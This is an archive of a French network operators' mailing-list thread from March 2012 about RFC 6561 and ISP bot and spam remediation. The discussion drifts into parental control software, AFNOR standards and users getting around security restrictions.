Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Le mardi 20 mars 2012 à 16:22 +0100, Stephane Bortzmeyer a écrit : [ Snipp ] Mmm, à première vue, le RFC ne parle que des solutions côté expédition. Les remèdes coté réception, sur les MX destinataires, ne sont pas abordés. Je pense en particulier au teergrubing qui consiste en gros à coller sur la connection pendant plusieurs 10aines de minutes les machines qui envoient des spams avérés afin de ralentir leur action. Exim fait ça très bien depuis 2002/2003. C'est aussi appelé tarpit sur wikipedia. http://en.wikipedia.org/wiki/Tarpit_%28networking%29 Cdlt, J.-M. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
disclaimer Je commence juste a rattraper une semaine interessante. Je prends donc mon vendredi avec plus de 24h de retard /disclaimer On Tue, 27 Mar 2012 21:48:08 +0200, Patrick Maigron patrick.maig...@institut-telecom.fr said: conduites à risques. ?? C'est quoi au juste une conduite a risque ? Aller sur des sites que certain lobbys n'apprecient pas ? ... tout comme rouler a 160 km/h sur une autoroute vide avec plus de 2 km de visibilite ? ... ou au pif penser tout seul et prendre des decisions ? Clairement plus dangereux que de se promener avec un collier de clés USB. Si le telephone en question est labellise HADOPI alors que les cles USB du collier ne le sont pas . ?!?!??!?! sur internet (si c'était une boîte privée on dirait qu'ils cherchent des relais de croissance). Avec des idées de type labellisation des sites en fonction de leur type de contenus (l'internet civilisé et le reste). Ca va nous ramener assez vite a un autre thread de ce vendredi (STASI^wARCEP). --- Liste de diffusion du FRnOG http://www.frnog.org/
RE: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On Tue, 27 Mar 2012 20:58:00 -0700, Michel Py mic...@arneill-py.sacramento.ca.us said: Je confirme. Et dans 99% des cas, ce n'est que pour faire leur travail. Le petit switch 4 port sous le bureau, quand tu en connectes 2 ensemble ça fait un merdier dans le spanning-tree. Etc etc. A moins d'avoir toute le reseau bureautique fait avec du DLink , Netgear co, ca se traite # man bpduguard Pareil que juste plus haut. En créant une sécurité trop forte, on a construit (et ça empire) une génération qui a été habituée dès la puberté à contourner les sécurités informatiques et qui considère que c'est normal, banal, et nécessaire. Par contre, jamais sous-estimer la securite par contrat. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Le 29/03/2012 05:17, Michel Py a écrit : Patrick Maigron a écrit: La norme AFNOR a l'air d'être payante. Ça me rappelle l'époque où on achetait les normes ITU papier, je pensais que tout ça avait changé, ça ne nous rajeunit pas. Question bête (comme d'habitude): L'AFNOR, c'est financé comment ? argent public / privé ? Non pas bête comme question, ce n'est pas très simple : c'est une association reconnue d'utilité publique, avec à la fois une mission d'intérêt général confiée par l’État et des activités commerciales. Et le groupe AFNOR comprend l'association AFNOR plus trois filiales commerciales (certification, édition, formation). En principe, demander de l'argent pout la norme ça ne me choque pas, en tout cas pas beaucoup. L'IEEE aussi demande de l'argent. Dans le cas de L'IEEE, ça ne me dérange pas vraiment: une société qui prétend pouvoir fabriquer un chipset Ethernet ou WiFi a définitivement les moyens d'acheter les documents en question. Le mec qui râle pour quelques malheureux milliers de dollars ne devrait pas être dans le business de fabriquer du chipset. Là où je trouve que c'est débile, c'est que dans le cas du logiciel, ce comportement ferme la porte aux petits auteurs/éditeurs, qui auraient pu pondre un logiciel de contrôle parental tout à fait correct. Et il ferme aussi la porte aux éditeurs non-Français qui on déjà du mal à avaler le coût de traduction pour un marché de petite taille (la France) sans avoir en plus à avoir acheter la norme ET adapter leur logiciel à la respecter ET avoir une équipe qui décide des sites craintos (le site craintos n'étant évidemment pas le même en fonction du pays). En fait les normes AFNOR d'application obligatoire pour les entreprises sont gratuites depuis 2009, les autres sont payantes. Remarque que la norme sur le test des logiciels de contrôle parental ne coûte que 55 euros HT quand même, c'est plus sur le principe que je réagissais :) Celles de l'ITU sont accessibles gratuitement depuis 2007 seulement. Les RFC le sont depuis le début. Excellent moyen de décourager l'innovation et de garder des prés carrés (et en Europe on est assez forts pour ça en général). OK pour ton commentaire sur les constructeurs de chipsets, mais on peut imaginer que des petits éditeurs veuillent développer des logiciels de test des chipsets par exemple et ils auront besoin du standard pour ça aussi. Tu oublies une autre possibilité: Les parents n'utilisent pas ce type de logiciel parce que depuis la puberté ils ont réussi avec succès à le détourner et que donc, maintenant qu'ils sont de l'autre coté, ils comprennent que de la même façon qu'ils se sont foutus des interdictions de leurs parents, leurs mômes vont se foutre des leurs. Exact. Même sans avoir eu à en contourner eux-mêmes d'ailleurs, ils peuvent ne pas être complètement naïfs et imaginer que c'est contournable. Ce qui doit les inciter encore plus à sensibiliser leurs enfants normalement. Patrick. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Patrick Maigron a écrit: A ce que j'en ai lu : un compte Enfant avec une liste blanche, un compte Ado avec une liste noire et un compte Adulte non filtré. C'est bien beau, mais ça sert à quoi avec les clés USB bootables, les netbooks à base de processeur Atom qui coûtent €200 (ce qui peut s'économiser sur l'argent de poche, pour certains), les keyloggers qu'on installe sur la bécane familiale pour savoir quel est le mot de passe qui permet de déverrouiller le contrôle parental, etc. Pour les FAI : à le faire eux-mêmes avant que le législateur ne leur impose. Pour le législateur : je ne suis pas sûr que la question ça sert à quoi soit forcément pertinente sur les sujets liés à internet, au vu des débats sur les lois successives... Patrick. --- Liste de diffusion du FRnOG http://www.frnog.org/
RE: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Patrick Maigron a écrit: La norme AFNOR a l'air d'être payante. Ça me rappelle l'époque où on achetait les normes ITU papier, je pensais que tout ça avait changé, ça ne nous rajeunit pas. Question bête (comme d'habitude): L'AFNOR, c'est financé comment ? argent public / privé ? En principe, demander de l'argent pout la norme ça ne me choque pas, en tout cas pas beaucoup. L'IEEE aussi demande de l'argent. Dans le cas de L'IEEE, ça ne me dérange pas vraiment: une société qui prétend pouvoir fabriquer un chipset Ethernet ou WiFi a définitivement les moyens d'acheter les documents en question. Le mec qui râle pour quelques malheureux milliers de dollars ne devrait pas être dans le business de fabriquer du chipset. Là où je trouve que c'est débile, c'est que dans le cas du logiciel, ce comportement ferme la porte aux petits auteurs/éditeurs, qui auraient pu pondre un logiciel de contrôle parental tout à fait correct. Et il ferme aussi la porte aux éditeurs non-Français qui on déjà du mal à avaler le coût de traduction pour un marché de petite taille (la France) sans avoir en plus à avoir acheter la norme ET adapter leur logiciel à la respecter ET avoir une équipe qui décide des sites craintos (le site craintos n'étant évidemment pas le même en fonction du pays). Dans les tests AFNOR il y a trois thèmes : sexe, mais aussi violence et conduites à risques. Ce qui serait intéressant c'est de croiser les stats de l'enquête enfants avec une enquête parents, pour savoir si les parents n'utilisent pas ce type de logiciel parce qu'ils s'en moquent ou s'ils le font volontairement parce qu'ils sensibilisent correctement leurs enfants par ailleurs. Tu oublies une autre possibilité: Les parents n'utilisent pas ce type de logiciel parce que depuis la puberté ils ont réussi avec succès à le détourner et que donc, maintenant qu'ils sont de l'autre coté, ils comprennent que de la même façon qu'ils se sont foutus des interdictions de leurs parents, leurs mômes vont se foutre des leurs. Le domaine de compétences du CSA [SNIP] (si c'était une boîte privée on dirait qu'ils cherchent des relais de croissance). Là je comprends. En Anglais/Américain on appelle çà empire building. Sauf que réguler internet c'est peut-être autre chose que réguler un ensemble bien défini de chaînes TV et de radios qui ont signé un cahier des charges précis avec l'état français en échange des fréquences qu'on leur a attribuées. Je ne te le fais pas dire. Michel. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Bonjour, Marrant le sujet est partie sur les bots ISP et on arrive sur les logiciels de contrôle parental. Ouais ça doit être la faute des jeunes qui vont sur des sites pornographique si on a autant de machines infectées. Contradiction d'autant plus flagrante, dans les années 90 quant des parents me parlait de leurs ordis infectées c'étaient oh moi je n'y connais rien c'est mon garçon/ ma fille qui s'en occupe. Et puis c'est tellement simple de mettre une plage horaire d'utilisation via un logiciel plutôt que d'expliquer qu'il est temps de faire ces devoirs. Paradoxe aussi quant on demande aux jeunes de se découvrir et de l'autre de suivre une norme pseudo-établie. Plus sérieusement combien de fois ais-je eut des gens à titre personnels ou en entreprises* (majeurs et vaccinés) me faire passer des mails avec pièces jointes me disant qu'ils n'arrivent pas à les ouvrir (quant ils ne l'ont pas envoyé à tout le service). Oui vous savez le bon petit mail avec un bon petit code java là-dedans. Bien sur les constructeurs ne sont pas en cause en fournissant depuis des années (15 ans) des postes avec un compte principal en mode administrateur. * Petite réflexion personnelle dans les grands comptes : Quant la sécurité est trop forte dans les grandes entreprises, que font les employées, directeurs et autres ? La 1er chose ils tombent tous sur l'admin réseau et si celui-ci reste sur son intransigeance en bloquant tout et bah ils se débrouillent entre eux pour contourner. Même sur des grosses structures étatiques, je me suis retrouvé en face de box amené par le personnel pour contourner le tout. Eh oui ils ont plus de moyens que le petit jeune chez lui. Le Tue, 27 Mar 2012 05:44:13 +0200, Michel Py mic...@arneill-py.sacramento.ca.us a écrit: - A C cool, j'ai une clé USB bootable avec Ubuntu, moi aussi. - A C cool, tu t'en sers pour quoi? [Il commence à rougir] Tu parle le djeune c'est bien. Pas forcement pour aller voir des sites interdit mais plutôt pour certains à croire qu'ils ne sont pas fliqués, contourner les limitations de plages horaires mis dans le controle parental (histoire de pouvoir continuer à discuter avec leurs potes sur msn le soir) et pour d'autres à passer outre les blocages des ordis aux bahuts. (*) C'est pas des conneries. J'ai une clé USB qui est reconnue comme disquette A: 1.44, très pratique pour charger les pilotes de carte RAID sur un serveur Windows 2003 qui ne connait que çà, quand le matériel n'a plus ni de disquette ni même de contrôleur de disquette. http://tinyurl.com/ceeona9 (**) GRUB4DOS A tous ceux qui ont eut des serveur hp et dell en 2003 à installer. --- Refuznik --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Le 27/03/2012 05:44, Michel Py a écrit : Patrick Maigron a écrit: Il y a eu un accord en 2005 entre l'AFA et le gouvernement qui prévoit d'inclure un logiciel de contrôle parental gratuit dans les offres (juste au moment où une proposition de loi à ce sujet arrivait à l'assemblée d'ailleurs)... Est-ce que l'accord en question a des clauses spécifiques sur les fonctionnalités du contrôle parental en question ? A ce que j'en ai lu : un compte Enfant avec une liste blanche, un compte Ado avec une liste noire et un compte Adulte non filtré. Les listes sont censées être mises à jour et être modifiables par le titulaire. L'AFNOR a sorti une norme pour tester ces logiciels en 2010, avec entre autres des taux de filtrage minimaux (sur quelle liste de sites ?). A priori les tests basés sur cette norme n'ont pas été faits pour le moment il me semble. La norme AFNOR a l'air d'être payante. Ça me rappelle l'époque où on achetait les normes ITU papier, je pensais que tout ça avait changé, ça ne nous rajeunit pas. Ils sont assez peu utilisés semble-t-il : selon le baromètre Calysto 2011, 26% des 11-13 ans sur l'ordi familial et 6% sur le téléphone portable perso. Je ne suis pas vraiment surpris. Peut-être que dans leur sagesse populaire, les parents Français ont compris que d'essayer d'empêcher leur progéniture mineure de regarder du contenu à caractère pornographique, c'était une bataille perdue d'avance. Dans les tests AFNOR il y a trois thèmes : sexe, mais aussi violence et conduites à risques. Ce qui serait intéressant c'est de croiser les stats de l'enquête enfants avec une enquête parents, pour savoir si les parents n'utilisent pas ce type de logiciel parce qu'ils s'en moquent ou s'ils le font volontairement parce qu'ils sensibilisent correctement leurs enfants par ailleurs. D'ailleurs (puisqu'on est sur Misc) j'ai une anecdote intéressante à raconter: Aussi en mode Misc : l'enquête où j'ai trouvé les chiffres au-dessus dit que 35 à 40% des enfants et ados dorment avec leur téléphone portable sous l'oreiller... Clairement plus dangereux que de se promener avec un collier de clés USB. Le CSA vient de sortir la semaine dernière une étude qui en rajoute une couche sur la nécessité de coordonner les contrôles parentaux sur internet et l'audiovisuel avec un référent institutionnel national pour la protection des mineurs, j'imagine qu'ils s'imaginent bien être au centre du dispositif (on n'est jamais mieux servi que par soi-même)... Euh, tu pourrais traduire en Français, s'il te plaît :P ? Hum pardon... Le domaine de compétences du CSA est l'audiovisuel (TV-radio) et certains contenus internet liés (catch-up TV, VoD). Ils essayent depuis un moment d'étendre leur domaine à l'ensemble des contenus audiovisuels sur internet (si c'était une boîte privée on dirait qu'ils cherchent des relais de croissance). Avec des idées de type labellisation des sites en fonction de leur type de contenus (l'internet civilisé et le reste). Sauf que réguler internet c'est peut-être autre chose que réguler un ensemble bien défini de chaînes TV et de radios qui ont signé un cahier des charges précis avec l'état français en échange des fréquences qu'on leur a attribuées. Le 27/03/2012 14:53, Refuznikster a écrit : Même sur des grosses structures étatiques, je me suis retrouvé en face de box amené par le personnel pour contourner le tout. Eh oui ils ont plus de moyens que le petit jeune chez lui. Il y a aussi des petits jeunes qui contournent le blocage parental en se connectant en wifi sur l'accès d'un copain du même quartier qui leur a donné ses identifiants :) Patrick. --- Liste de diffusion du FRnOG http://www.frnog.org/
RE: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Refuznikster a écrit: Marrant le sujet est partie sur les bots ISP et on arrive sur les logiciels de contrôle parental. C'est Jérôme qui a déraillé la conversation. Bon, c'est misc... Bien sur les constructeurs ne sont pas en cause en fournissant depuis des années (15 ans) des postes avec un compte principal en mode administrateur. Ce n'est pas les constructeurs, mais les administrateurs du domaine. Et pour de bonnes raisons: si tu ne le fais pas, rien ne marche. Chez nombre de mes clients, l'utilisateur est membre du groupe des administrateurs sur la machine. C'est dangereux, mais le revers de la médaille est qu'ils n'ont pas les moyens de supporter le contraire. Ceci étant dit, c'est très souvent la faute de ceux qui ont écrit l'appli, avec du code de goret qui ne marche pas si tu n'es pas administrateur. Que ce soit *nix ou windows c'est pareil, combien de fois on m'a dit ah mais tu n'as qu'à demander à l'admistrateur de faire un chmod 777 ici ou là * Petite réflexion personnelle dans les grands comptes : Quant la sécurité est trop forte dans les grandes entreprises, que font les employées, directeurs et autres ? La 1er chose ils tombent tous sur l'admin réseau et si celui-ci reste sur son intransigeance en bloquant tout et bah ils se débrouillent entre eux pour contourner. Même sur des grosses structures étatiques, je me suis retrouvé en face de box amené par le personnel pour contourner le tout. Je confirme. Et dans 99% des cas, ce n'est que pour faire leur travail. Le petit switch 4 port sous le bureau, quand tu en connectes 2 ensemble ça fait un merdier dans le spanning-tree. Etc etc. Pas forcement pour aller voir des sites interdit mais plutôt pour certains à croire qu'ils ne sont pas fliqués, contourner les limitations de plages horaires mis dans le controle parental (histoire de pouvoir continuer à discuter avec leurs potes sur msn le soir) et pour d'autres à passer outre les blocages des ordis aux bahuts. Pareil que juste plus haut. En créant une sécurité trop forte, on a construit (et ça empire) une génération qui a été habituée dès la puberté à contourner les sécurités informatiques et qui considère que c'est normal, banal, et nécessaire. Patrick Maigron a écrit: A ce que j'en ai lu : un compte Enfant avec une liste blanche, un compte Ado avec une liste noire et un compte Adulte non filtré. C'est bien beau, mais ça sert à quoi avec les clés USB bootables, les netbooks à base de processeur Atom qui coûtent €200 (ce qui peut s'économiser sur l'argent de poche, pour certains), les keyloggers qu'on installe sur la bécane familiale pour savoir quel est le mot de passe qui permet de déverrouiller le contrôle parental, etc. On est passé de l'époque ou, pour les besoins de la branlette quotidienne, on piquait le Playboy du cousin plus âgé à l'époque ou, pour le même besoin, on devient professionnel de détourner la sécurité informatique. Et on continue à le faire à l'université parce que c'est rigolo, et dans l'entreprise parce qu'on veut avoir son client IM qui marche pour savoir si on va avoir un 5-à-7 intéressant avec la collègue ou fournisseur. Aussi en mode Misc : l'enquête où j'ai trouvé les chiffres au-dessus dit que 35 à 40% des enfants et ados dorment avec leur téléphone portable sous l'oreiller... Clairement plus dangereux que de se promener avec un collier de clés USB. Intéressant. Michel. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Le 26/03/12 05:15, Michel Py a écrit : C'est bien beau tout çà, mais ça suppose que tout le monde joue le jeu et on sait très bien qu'il va toujours avoir suffisamment de brebis galeuses pour que ça ne marche pas. C'est bien à ça que sert la régulation. Ca ne me choquerai pas que le code de la consommation et le CPCE définissent l'ensemble des prestations, incluant sécurisation et IDS, à bundler pour avoir le droit de vendre un accès au grand-public. C'est bien ce qui a servi à imposer aux gros eyballs de packager des filtres parentaux, non ? -- Jérôme Nicolle 06 19 31 27 14 --- Liste de diffusion du FRnOG http://www.frnog.org/
RE: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Michel Py a écrit : C'est bien beau tout çà, mais ça suppose que tout le monde joue le jeu et on sait très bien qu'il va toujours avoir suffisamment de brebis galeuses pour que ça ne marche pas. Jérôme Nicolle a écrit: C'est bien à ça que sert la régulation. Ca ne me choquerai pas que le code de la consommation et le CPCE définissent l'ensemble des prestations, incluant sécurisation et IDS, à bundler pour avoir le droit de vendre un accès au grand-public. AMHA ça serait une grosse bêtise, vu que tu ne peux pas réguler hors de l'hexagone. On parlait des spambots, l'effet serait l'accès à l'Internet en France serait plus cher qu'ailleurs, et que tout le monde bénirait la France pour être un pays un peu plus propre ...et continuerait allègrement à vous envoyer du spam venu de spambots à l'étranger. Aussi efficace que de pisser dans un violon. L'Internet, c'est mondial. En Californie on a une loi contre le spam spécifique à la Californie: Il est illégal d'envoyer du spam si les serveurs qui envoient ne sont pas situés en Californie. Un jour je me suis fais éjecter d'une réunion parce que j'ai dit un peu trop clairement que ça ne servirait absolument à rien. C'est bien ce qui a servi à imposer aux gros eyballs de packager des filtres parentaux, non ? Il y a des filtres parentaux obligatoires, en France ? Michel. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Le 26/03/2012 17:53, Michel Py a écrit : AMHA ça serait une grosse bêtise, vu que tu ne peux pas réguler hors de l'hexagone. On parlait des spambots, l'effet serait l'accès à l'Internet en France serait plus cher qu'ailleurs, et que tout le monde bénirait la France pour être un pays un peu plus propre ...et continuerait allègrement à vous envoyer du spam venu de spambots à l'étranger. Aussi efficace que de pisser dans un violon. L'Internet, c'est mondial. J'y vois un aspect positif : pour trier le spam, il suffirait de décider Si ça vient de France, alors je laisse passer, sinon j'applique mes filtres chiants plein de faux positifs et de graylisting. C'est là que je vois un cercle vertueux : Celui qui veille à ne pas spammer verrait ses mails traités avec bienveillance. Rémi. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On Mon, Mar 26, 2012 at 5:53 PM, Michel Py mic...@arneill-py.sacramento.ca.us wrote: C'est bien ce qui a servi à imposer aux gros eyballs de packager des filtres parentaux, non ? Il y a des filtres parentaux obligatoires, en France ? Pas obligatoires, désactivables, et surtout payants... Jérémy --- Liste de diffusion du FRnOG http://www.frnog.org/
RE: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Michel Py a écrit : AMHA ça serait une grosse bêtise, vu que tu ne peux pas réguler hors de l'hexagone. On parlait des spambots, l'effet serait l'accès à l'Internet en France serait plus cher qu'ailleurs, et que tout le monde bénirait la France pour être un pays un peu plus propre ...et continuerait allègrement à vous envoyer du spam venu de spambots à l'étranger. Aussi efficace que de pisser dans un violon. L'Internet, c'est mondial. Rémi Bouhl a écrit: J'y vois un aspect positif : pour trier le spam, il suffirait de decider Si ça vient de France, alors je laisse passer, sinon j'applique mes filtres chiants plein de faux positifs et de graylisting. C'est là que je vois un cercle vertueux : Celui qui veille à ne pas spammer verrait ses mails traités avec bienveillance. Tu vois le problème à l'envers: la difficulté de la lutte contre le spam, ce n'est pas de laisser passer ce qui n'en est pas, mais de bloquer ce qui en est. Ce que tu suggères, ça ne sert à rien; il faudrait que 90% du monde (ou plus) fasse partie du cercle vertueux. Jerome Nicolle a écrit: C'est bien ce qui a servi à imposer aux gros eyballs de packager des filtres parentaux, non ? Michel Py a écrit: Il y a des filtres parentaux obligatoires, en France ? Jeremy Monnet a écrit: Pas obligatoires, désactivables, et surtout payants... Tu payes si tu ne t'en sers pas ? Michel. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On Mon, Mar 26, 2012 at 6:14 PM, Michel Py mic...@arneill-py.sacramento.ca.us wrote: Jeremy Monnet a écrit: Pas obligatoires, désactivables, et surtout payants... Tu payes si tu ne t'en sers pas ? Heureusement pas :-) Ceci dit, je viens de vérifier, ca fait partie des rubriques sécurité, où l'antivirus est payant (mais payant pas chez bouygues par exemple), mais le contrôle parental gratuit en fait (free, orange, bouygues, je n'ai pas regardé les autres). Jérémy --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Le 26/03/2012 18:23, Jeremy Monnet a écrit : Ceci dit, je viens de vérifier, ca fait partie des rubriques sécurité, où l'antivirus est payant (mais payant pas chez bouygues par exemple), mais le contrôle parental gratuit en fait (free, orange, bouygues, je n'ai pas regardé les autres). Il y a eu un accord en 2005 entre l'AFA et le gouvernement qui prévoit d'inclure un logiciel de contrôle parental gratuit dans les offres (juste au moment où une proposition de loi à ce sujet arrivait à l'assemblée d'ailleurs)... Ils sont assez peu utilisés semble-t-il : selon le baromètre Calysto 2011, 26% des 11-13 ans sur l'ordi familial et 6% sur le téléphone portable perso. Le CSA vient de sortir la semaine dernière une étude qui en rajoute une couche sur la nécessité de coordonner les contrôles parentaux sur internet et l'audiovisuel avec un référent institutionnel national pour la protection des mineurs, j'imagine qu'ils s'imaginent bien être au centre du dispositif (on n'est jamais mieux servi que par soi-même)... Patrick. --- Liste de diffusion du FRnOG http://www.frnog.org/
RE: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Patrick Maigron a écrit: Il y a eu un accord en 2005 entre l'AFA et le gouvernement qui prévoit d'inclure un logiciel de contrôle parental gratuit dans les offres (juste au moment où une proposition de loi à ce sujet arrivait à l'assemblée d'ailleurs)... Est-ce que l'accord en question a des clauses spécifiques sur les fonctionnalités du contrôle parental en question ? Ils sont assez peu utilisés semble-t-il : selon le baromètre Calysto 2011, 26% des 11-13 ans sur l'ordi familial et 6% sur le téléphone portable perso. Je ne suis pas vraiment surpris. Peut-être que dans leur sagesse populaire, les parents Français ont compris que d'essayer d'empêcher leur progéniture mineure de regarder du contenu à caractère pornographique, c'était une bataille perdue d'avance. D'ailleurs (puisqu'on est sur Misc) j'ai une anecdote intéressante à raconter: Il y a quelques mois, j'étais à une soirée pour des raisons sociales ou je ne connaissais presque personne et ou je me faisais chier comme un rat mort. N'ayant rien de mieux à faire, j'étais en train d'essayer vainement de me saouler la gueule à la Budweiser lite quand l'ado male de la maison (environ 14 ans), qui avait remarqué les clés USB (4) que je porte autour du cou, est venu me demander: - Elles sont bootables, tes clés USB? - Bien sûr. - Tu bootes quoi, dessus ? - Ben tu vois, en fait celle de 64GB, elle n'est pas bootable. Celle-là, elle émule une disquette de 1.44 MB, elle boote MS-DOS 6.21. (*) Les deux autres, c'est des 16GB, et j'ai un menu qui me permet de choisir quelle image ISO je boote (**) - Tu peux choisir ce que tu veux booter ? - Oui. - Tu as quoi, dessus ? - Ubuntu 11, Windows 7, Kaspersky, Symantec, etc.. - A C cool, j'ai une clé USB bootable avec Ubuntu, moi aussi. - A C cool, tu t'en sers pour quoi? [Il commence à rougir] (*) C'est pas des conneries. J'ai une clé USB qui est reconnue comme disquette A: 1.44, très pratique pour charger les pilotes de carte RAID sur un serveur Windows 2003 qui ne connait que çà, quand le matériel n'a plus ni de disquette ni même de contrôleur de disquette. http://tinyurl.com/ceeona9 (**) GRUB4DOS Le CSA vient de sortir la semaine dernière une étude qui en rajoute une couche sur la nécessité de coordonner les contrôles parentaux sur internet et l'audiovisuel avec un référent institutionnel national pour la protection des mineurs, j'imagine qu'ils s'imaginent bien être au centre du dispositif (on n'est jamais mieux servi que par soi-même)... Euh, tu pourrais traduire en Français, s'il te plaît :P ? Michel. --- Liste de diffusion du FRnOG http://www.frnog.org/
RE: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Refuznikster 3. Le parc informatique d'une entreprise ou d'une fac. Oui, bonne remarque. En général, la facturation va être du type forfait illimité, pas au 95% donc aucune excuse pour couper pour utilisation excessive de BP (contrairement à Mme Michu qui achète de l'accès partagé, l'entreprise achète de l'accès dédié ou garanti, raison pour laquelle c'est beaucoup plus cher, à BP égale). Normalement, l'abuse va arriver à l'entreprise ou à la fac, donc ce n'est pas au FAI de s'en occuper non plus. AMHA, ce que le FAI doit faire dans ce cas-là est: 1. Regarder attentivement l'abuse. 2. Si l'attaque est de gros volume et si l'administrateur réseau de l'entreprise ou du client n'est pas joignable au téléphone, blackhole de(s) IP(s) concernées. Michel. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Bonjour, Le 23/03/2012 17:21, Michel Py a écrit : 2. Le PC de Mme Michu qui récolte un merdiciel parce qu'elle a cliqué sur un truc et dit à UAC que c'était OK. Impact sur le réseau: faible. Avec son upstream de 1Mbps, elle ne va pas faire tomber l'infra. Impact sur l'Internet: faible. C'est malheureux à dire, mais le PC de Mme Michu qui envoie du spam à 1Mbps, ça n'empêche pas l'Internet de marcher. Détection: Il faut s'en occuper. Surtout dans le cas d'un spambot, presque plus personne ne se donne la peine d'avertir le FAI. Les sous: 1Mbps c'est plus rien aujourd'hui, garder le PC de Mme Michu actif n'empêche pas d'être profitable, même si ça écorne la marge. Résultat des courses: personne ne fait rien. Dans ce cas précis, je ne vois que deux portes de sortie : - Une pression législative, soit sur Claude Michu (je n'aime pas le terme sexiste de madame Michu :D), soit sur le FAI, - La recherche par les FAI d'un cercle vertueux, associée à la prise de conscience du fait que laisser faire le spam coûte globalement plus cher que de lutter contre. Par exemple, le FAI qui se plaint du fait que le spam lui coûte cher en réception sur les serveurs qui hébergent les mails de ses abonnés, devrait se demander si résoudre ce problème ne commence pas par faire attention au spam que ses abonnés envoient. Peut-être qu'il faudrait un label Internet bisounours avec des FAI qui garantiraient une lutte efficace contre le merdier qui pourrait sortir de leur réseau, et qui accepteraient sans filtrage le trafic des autres FAI labellisés. Mais ne pas s'attendre à ce que tous les FAI fassent pareil, en particulier les petits qui n'ont pas les économies d'échelle ni les ressources des gros. Marrant, j'ai l'impression inverse : les petits FAI ont un volume de saleté sur Internet assez faible pour prendre la peine de répondre à abuse@, les gros ne lisent pas. Ça fait un moment que, régulièrement quand je reçois un spam, je contacte abuse@, et de ce que j'ai vu, les Free, SFR, Bouygues, Numericable s'en foutent. Les petits FAI et petits hébergeurs réagissent, eux. Rémi. --- Liste de diffusion du FRnOG http://www.frnog.org/
RE: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Michel Py a écrit : 2. Le PC de Mme Michu qui récolte un merdiciel parce qu'elle a cliqué sur un truc et dit à UAC que c'était OK. Impact sur le réseau: faible. Avec son upstream de 1Mbps, elle ne va pas faire tomber l'infra. Impact sur l'Internet: faible. C'est malheureux à dire, mais le PC de Mme Michu qui envoie du spam à 1Mbps, ça n'empêche pas l'Internet de marcher. Détection: Il faut s'en occuper. Surtout dans le cas d'un spambot, presque plus personne ne se donne la peine d'avertir le FAI. Les sous: 1Mbps c'est plus rien aujourd'hui, garder le PC de Mme Michu actif n'empêche pas d'être profitable, même si ça écorne la marge. Résultat des courses: personne ne fait rien. Rémi Bouhl a écrit: Dans ce cas précis, je ne vois que deux portes de sortie : - Une pression législative, soit sur Claude Michu (je n'aime pas le terme sexiste de madame Michu :D), soit sur le FAI, Ne parle pas de malheur. - La recherche par les FAI d'un cercle vertueux, associée à la prise de conscience du fait que laisser faire le spam coûte globalement plus cher que de lutter contre. Je ne suis pas convaincu. Par exemple, le FAI qui se plaint du fait que le spam lui coûte cher en réception sur les serveurs qui hébergent les mails de ses abonnés, devrait se demander si résoudre ce problème ne commence pas par faire attention au spam que ses abonnés envoient. C'est bien beau tout çà, mais ça suppose que tout le monde joue le jeu et on sait très bien qu'il va toujours avoir suffisamment de brebis galeuses pour que ça ne marche pas. Peut-être qu'il faudrait un label Internet bisounours avec des FAI qui garantiraient une lutte efficace contre le merdier qui pourrait sortir de leur réseau, et qui accepteraient sans filtrage le trafic des autres FAI labellisés. Economiquement je ne vois pas l'intérêt, malheureusement. Accepter sans filtrage, ça ne réduit pas le coût du filtrage pour ceux qui ne sont pas labellisés, donc c'est une perte de temps. Mais ne pas s'attendre à ce que tous les FAI fassent pareil, en particulier les petits qui n'ont pas les économies d'échelle ni les ressources des gros. Marrant, j'ai l'impression inverse : les petits FAI ont un volume de saleté sur Internet assez faible pour prendre la peine de répondre à abuse@, les gros ne lisent pas. Ça fait un moment que, régulièrement quand je reçois un spam, je contacte abuse@, et de ce que j'ai vu, les Free, SFR, Bouygues, Numericable s'en foutent. Les petits FAI et petits hébergeurs réagissent, eux. Je suis bien d'accord, mais là on retombe dans le troll éternel de la lutte des classes. Ne mets pas ma phrase hors-contexte: je parlais de ce que Comcast faisait en matière d'avertissement automatique de l'usager. Michel. --- Liste de diffusion du FRnOG http://www.frnog.org/
RE: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
